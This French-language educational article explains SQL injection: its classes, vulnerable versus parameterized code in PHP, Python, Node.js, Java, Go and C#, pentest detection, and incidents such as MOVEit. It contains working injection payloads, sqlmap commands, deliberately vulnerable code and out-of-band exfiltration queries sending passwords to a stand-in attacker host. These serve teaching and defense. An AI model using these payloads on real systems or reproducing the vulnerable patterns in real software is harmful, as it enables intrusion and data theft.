Une injection SQL (SQL Injection, SQLi) est une vulnérabilité applicative qui permet à un attaquant d'injecter du code SQL arbitraire dans une requête envoyée à la base de données, via une entrée non correctement séparée du code de la requête. Classée CWE-89 par MITRE et catégorie A03:2021 « Injection » par l'OWASP Top 10, cette faille permet selon le contexte : la lecture intégrale de la base de données (comptes utilisateurs, mots de passe hashés, données personnelles, secrets métier), la modification ou la suppression de données, l'exécution de commandes système sur le serveur de base, voire le pivot vers le réseau interne. Cet article détaille le mécanisme technique, les différentes classes (in-band, blind, time-based, out-of-band), les exemples concrets par stack (PHP, Python, Node.js, Java, Go), les méthodes de détection (manuelle et via sqlmap), les défenses définitives (requêtes paramétrées, ORM correctement utilisés, least privilege DB) et trois incidents historiques majeurs qui illustrent l'impact business réel.
Mécanisme technique
Le cœur de l'injection SQL tient en un seul concept : la confusion entre données et code. Quand une application construit une requête SQL en concaténant une chaîne utilisateur à une requête fixe, le parseur SQL ne peut plus distinguer l'intention du développeur de celle de l'attaquant.
Exemple canonique en PHP vulnérable :
<?php
$username = $_POST['username'];
$password = $_POST['password'];
// Requête vulnérable : concaténation directe
$query = "SELECT id, email FROM users
WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);Si un attaquant soumet username = admin' -- et password = anything, la requête effectivement exécutée devient :
SELECT id, email FROM users
WHERE username = 'admin' -- ' AND password = 'anything'Le -- est un commentaire SQL qui neutralise le reste de la requête. L'attaquant se connecte en tant qu'admin sans connaître le mot de passe. C'est l'injection la plus simple et la plus ancienne, documentée dès la fin des années 1990 (Chris Anley, « Advanced SQL Injection », 2002 reste une référence).
La racine du problème est architecturale : tant que la séparation entre requête et données n'est pas faite par le driver de base de données lui-même (prepared statements), aucune quantité d'échappement manuel ne garantit la sécurité à 100 %.
Les classes d'injection SQL
Quatre classes principales, souvent combinées en pratique.
In-band (classique, extraction directe)
L'attaquant récupère les données via le même canal que la requête. Deux sous-types.
Union-based : l'attaquant concatène une requête UNION qui retourne ses propres données dans la même réponse HTTP.
-- Requête légitime
SELECT name, price FROM products WHERE id = 1
-- Requête injectée (id = "1 UNION SELECT username, password FROM users --")
SELECT name, price FROM products WHERE id = 1
UNION SELECT username, password FROM users --Error-based : l'attaquant provoque une erreur SQL qui révèle le contenu dans le message. Exemples classiques : conversion de type forcée (CAST), extraction via XPath sur MSSQL, débordement intentionnel.
Blind boolean-based
L'application ne retourne pas le résultat de la requête mais la présence ou l'absence d'un comportement (page normale versus page d'erreur, contenu présent ou absent). L'attaquant reconstruit l'information un bit à la fois.
-- Test : le premier caractère du mot de passe admin est-il 'a' ?
SELECT * FROM products WHERE id = 1 AND
(SELECT SUBSTRING(password, 1, 1) FROM users WHERE username = 'admin') = 'a'
-- Si la page répond comme d'habitude, c'est 'a'. Sinon, tester 'b', 'c', etc.Blind time-based
Même principe que boolean-based mais le canal d'exfiltration est le temps de réponse, utilisé quand aucun bit visible ne différencie vrai et faux.
-- MySQL
1 AND IF(SUBSTRING(password, 1, 1) = 'a', SLEEP(5), 0)
-- PostgreSQL
1; SELECT CASE WHEN (SELECT SUBSTRING(password FROM 1 FOR 1) FROM users WHERE username='admin')='a'
THEN PG_SLEEP(5) ELSE PG_SLEEP(0) END
-- MSSQL
1; IF (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a' WAITFOR DELAY '0:0:5'Out-of-band (OOB)
L'attaquant exfiltre les données via un canal tiers (DNS, HTTP sortant), typiquement quand aucun canal direct ni indirect n'est exploitable. Nécessite que la base de données puisse initier des connexions sortantes.
-- MSSQL : résolution DNS vers un domaine contrôlé par l'attaquant
DECLARE @data varchar(1024);
SELECT @data = (SELECT TOP 1 password FROM users WHERE username='admin');
EXEC('master..xp_dirtree "\\'+@data+'.attacker.oob.example/a"');
-- Oracle : requête HTTP via UTL_HTTP
SELECT UTL_HTTP.REQUEST('http://attacker.oob.example/?d=' ||
(SELECT password FROM users WHERE rownum=1)) FROM dual;Variantes selon le contexte d'injection
Le point d'injection détermine les techniques applicables.
| Contexte d'injection | Exemple vulnérable | Défense primaire |
|---|---|---|
| WHERE avec valeur entre quotes | WHERE name='$input' | Requête paramétrée |
| WHERE avec valeur numérique nue | WHERE id=$input | Requête paramétrée + cast explicite |
| LIKE avec pattern utilisateur | WHERE name LIKE '%$input%' | Paramétré + échappement wildcards |
| ORDER BY dynamique | ORDER BY $input | Allowlist de colonnes autorisées |
| LIMIT dynamique | LIMIT $offset, $count | Cast entier strict + paramètre |
| Nom de colonne ou table dynamique | SELECT $col FROM table | Allowlist stricte |
| Stored procedure avec input | EXEC sp_user @name='$input' | sp_executesql avec paramètres |
| Injection via JSON/XML body | API qui construit requête depuis JSON | Validation schema + paramétrage |
| Injection via HTTP header | X-Forwarded-For utilisé en filtre SQL | Normalisation + paramétrage |
Le piège des clauses ORDER BY et LIMIT est récurrent : ces clauses n'acceptent pas les paramètres liés sous forme de valeur dans la plupart des SGBD. Elles doivent être construites uniquement à partir d'une allowlist de colonnes et de directions autorisées.
# Python : défense ORDER BY avec allowlist
ALLOWED_SORT_COLUMNS = {"created_at", "name", "price"}
ALLOWED_SORT_DIRS = {"asc", "desc"}
def safe_order_by(column: str, direction: str) -> str:
col = column.lower() if column.lower() in ALLOWED_SORT_COLUMNS else "created_at"
dir_ = direction.lower() if direction.lower() in ALLOWED_SORT_DIRS else "asc"
return f"{col} {dir_}"Injections SQL dans les APIs et ORM modernes
Les surfaces modernes (APIs REST/GraphQL, ORM) ont déplacé les points d'injection sans les éliminer.
ORM : zones de risque résiduelles
Même avec un ORM, certaines méthodes exposent du SQL brut.
# Django — zones de risque
from django.db import connection
# Vulnérable : raw SQL concaténé
User.objects.raw(f"SELECT * FROM users WHERE name = '{name}'")
# Vulnérable : extra() avec where concaténé
User.objects.extra(where=[f"name = '{name}'"])
# Sécurisé : raw SQL paramétré
User.objects.raw("SELECT * FROM users WHERE name = %s", [name])
# Sécurisé : ORM standard
User.objects.filter(name=name)SQLAlchemy : piège du text()
from sqlalchemy import text
# Vulnérable : concaténation dans text()
session.execute(text(f"SELECT * FROM users WHERE name = '{name}'"))
# Sécurisé : text() avec paramètres liés
session.execute(
text("SELECT * FROM users WHERE name = :name"),
{"name": name}
)
# Sécurisé : ORM idiomatique
from sqlalchemy import select
session.execute(select(User).where(User.name == name))APIs GraphQL
Les resolvers GraphQL qui construisent du SQL à partir d'arguments utilisateur sont particulièrement exposés, surtout quand ils supportent des filtres complexes.
// Node.js — resolver GraphQL vulnérable
const resolvers = {
Query: {
// Vulnérable : concaténation des opérateurs et valeurs
users: async (_, { filter }) => {
const sql = `SELECT * FROM users WHERE ${filter.field} ${filter.op} '${filter.value}'`;
return await db.query(sql);
}
}
};
// Sécurisé : allowlist de champs et opérateurs + paramètre
const ALLOWED_FIELDS = ['name', 'email', 'role'];
const ALLOWED_OPS = { eq: '=', neq: '!=', like: 'LIKE' };
const resolversSecure = {
Query: {
users: async (_, { filter }) => {
if (!ALLOWED_FIELDS.includes(filter.field)) throw new Error('invalid field');
const op = ALLOWED_OPS[filter.op];
if (!op) throw new Error('invalid op');
const sql = `SELECT * FROM users WHERE ${filter.field} ${op} $1`;
return await db.query(sql, [filter.value]);
}
}
};Défenses définitives
Quatre défenses cumulatives, par ordre d'importance.
1. Requêtes paramétrées (prepared statements)
C'est la défense primaire et la seule qui élimine la classe entière de vulnérabilité. Chaque driver propose sa syntaxe.
// PHP avec PDO (prepared statement)
$stmt = $pdo->prepare("SELECT id, email FROM users WHERE username = :u AND password_hash = :p");
$stmt->execute(['u' => $username, 'p' => $passwordHash]);
$row = $stmt->fetch();// Java avec JDBC PreparedStatement
PreparedStatement ps = conn.prepareStatement(
"SELECT id, email FROM users WHERE username = ? AND password_hash = ?");
ps.setString(1, username);
ps.setString(2, passwordHash);
ResultSet rs = ps.executeQuery();// Go avec database/sql
var id int
var email string
err := db.QueryRow(
"SELECT id, email FROM users WHERE username = $1 AND password_hash = $2",
username, passwordHash,
).Scan(&id, &email)// C# avec SqlCommand parameters
using var cmd = new SqlCommand(
"SELECT id, email FROM users WHERE username = @u AND password_hash = @p", conn);
cmd.Parameters.AddWithValue("@u", username);
cmd.Parameters.AddWithValue("@p", passwordHash);Dans tous ces exemples, la valeur utilisateur est transmise séparément de la requête. Le driver garantit qu'elle ne sera jamais interprétée comme du code SQL.
2. Validation stricte des inputs
Validation par allowlist positive, jamais par blacklist. Un identifiant entier doit être parsé en entier. Un email doit matcher une regex stricte. Une colonne de tri doit appartenir à une liste finie.
// Zod pour la validation schema-first
import { z } from "zod";
const QuerySchema = z.object({
id: z.string().regex(/^[0-9]+$/).transform(Number),
sortBy: z.enum(["created_at", "name", "price"]),
direction: z.enum(["asc", "desc"]).default("asc"),
});
export function parseQuery(input: unknown) {
return QuerySchema.parse(input);
}3. Least privilege sur le compte applicatif
Le compte de base de données utilisé par l'application ne doit avoir que les droits strictement nécessaires. Une injection SQL réussie est beaucoup moins grave si le compte applicatif ne peut pas accéder aux tables sensibles, ne peut pas exécuter de DDL, ne peut pas appeler de stored procedures privilégiées.
-- PostgreSQL : création d'un compte applicatif minimal
CREATE USER app_user WITH PASSWORD 'strong_random_password';
GRANT CONNECT ON DATABASE app_db TO app_user;
GRANT SELECT, INSERT, UPDATE, DELETE ON products, orders, order_items TO app_user;
-- Pas de DROP, CREATE, GRANT, ni accès aux tables system
REVOKE CREATE ON SCHEMA public FROM app_user;4. WAF et défense en profondeur
Un WAF (Cloudflare, AWS WAF, ModSecurity, Imperva) bloque les payloads classiques connus et sert de filet pour les attaques automatisées. Il ne remplace jamais le code sécurisé : les pentests démontrent routinièrement le bypass de WAF commerciaux par encodage, fragmentation, variantes syntaxiques.
Les règles WAF utiles : OWASP Core Rule Set (CRS) 4.0, règles AWS Managed SQL Database, Cloudflare Managed Rules SQLi.
Détection en pentest
Trois approches complémentaires dans un pentest professionnel.
Tests manuels ciblés
Les payloads de détection les plus rentables, à tester systématiquement sur chaque paramètre :
' OR '1'='1
' OR '1'='2
' AND 1=1 --
' AND 1=2 --
' UNION SELECT NULL --
'; WAITFOR DELAY '0:0:5' --
" OR "1"="1
\" OR 1=1 --
0 OR 1=1
1' AND SLEEP(5)--Tester aussi les variantes avec les encodages d'URL, hexadécimal, commentaires in-line (/**/), et les obfuscations connues.
Automation avec sqlmap
Outil de référence en pentest pour caractériser et exploiter une injection soupçonnée.
# Test complet d'un endpoint (autorisé uniquement)
sqlmap -u 'https://cible.test/api/products?id=1' \
--cookie='session=eyJhbGc...' \
--level=3 --risk=2 \
--dbms=mysql \
--technique=BEUST \
--batch
# Test d'un POST JSON
sqlmap -u 'https://cible.test/api/search' \
--method=POST --data='{"q":"*"}' \
--headers='Content-Type: application/json' \
--random-agent --level=5sqlmap identifie automatiquement le SGBD, teste plusieurs techniques en parallèle, et propose l'exfiltration une fois l'injection confirmée. À utiliser uniquement avec autorisation écrite — sinon article 323-1 du Code pénal français.
Scanners applicatifs
Burp Suite Professional (scanner actif avec extensions SQLiPy, SQLMap Session), OWASP ZAP, Netsparker et Acunetix détectent les injections les plus classiques automatiquement. Utile pour la couverture de surface mais rate les cas complexes (ORDER BY, JSON bodies, GraphQL filtres).
Incidents historiques marquants
Trois cas concrets qui illustrent l'impact business de l'injection SQL.
MOVEit Transfer — mai 2023
CVE-2023-34362, score CVSS 9.8 (critique). Vulnérabilité zero-day dans MOVEit Transfer (Progress Software), une solution de transfert de fichiers utilisée par les grandes entreprises et les administrations. Le groupe ransomware Clop a exploité l'injection SQL pour déployer un web shell (LEMURLOOT) et exfiltrer massivement les données.
Impact : plus de 2 600 organisations touchées, dont des agences gouvernementales américaines (Department of Energy, Department of Agriculture), compagnies d'assurance (Aon), sociétés de paie (Zellis), grandes universités. Plus de 90 millions de personnes concernées par l'exposition de données personnelles.
Heartland Payment Systems — 2008
Une des plus grandes fuites de l'histoire à l'époque. Injection SQL dans une application web Heartland permettant l'installation d'un malware qui a intercepté 134 millions de numéros de cartes bancaires. Coût total pour Heartland : estimé à plus de 140 millions de dollars (amendes, mise en conformité, class actions).
TalkTalk — octobre 2015
Injection SQL exploitée par un mineur britannique de 17 ans sur un site TalkTalk oublié et non patché. Exfiltration de 157 000 comptes clients, dont 15 000 avec données bancaires en clair. L'ICO a infligé une amende de 400 000 £, un record britannique à l'époque, en soulignant explicitement que la vulnérabilité était connue et corrigible depuis des années.
Points clés à retenir
- L'injection SQL (CWE-89, OWASP A03:2021) provient de la confusion entre code et données dans une requête concaténée. La seule défense définitive est la requête paramétrée via le driver natif.
- Les ORM protègent par défaut mais exposent des zones résiduelles : raw queries, ORDER BY dynamique, LIKE patterns, text() SQLAlchemy, resolvers GraphQL construits dynamiquement.
- Quatre classes principales : in-band (union, error), blind boolean, blind time-based, out-of-band. Toutes exploitables sans retour direct du résultat.
- Les défenses cumulatives nécessaires : requêtes paramétrées (primaire), validation stricte par allowlist, least privilege sur le compte DB applicatif, WAF en défense en profondeur.
- Les incidents récents (MOVEit 2023, Heartland 2008, TalkTalk 2015) illustrent l'impact business : dizaines à centaines de millions de dollars, fuites massives, peines réglementaires. L'injection SQL reste un risque critique en 2026 malgré 20+ ans d'existence des parades.
Pour aller plus loin
- Introduction OWASP Top 10 - panorama des 10 classes de vulnérabilités web les plus critiques.
- Roadmap secure coding - intégrer les défenses anti-injection dans une pratique dev quotidienne.
- Roadmap AppSec Engineer - parcours carrière pour structurer une pratique de revue et de prévention à l'échelle.
- Roadmap API Security - spécificités d'injection sur les APIs REST et GraphQL modernes.





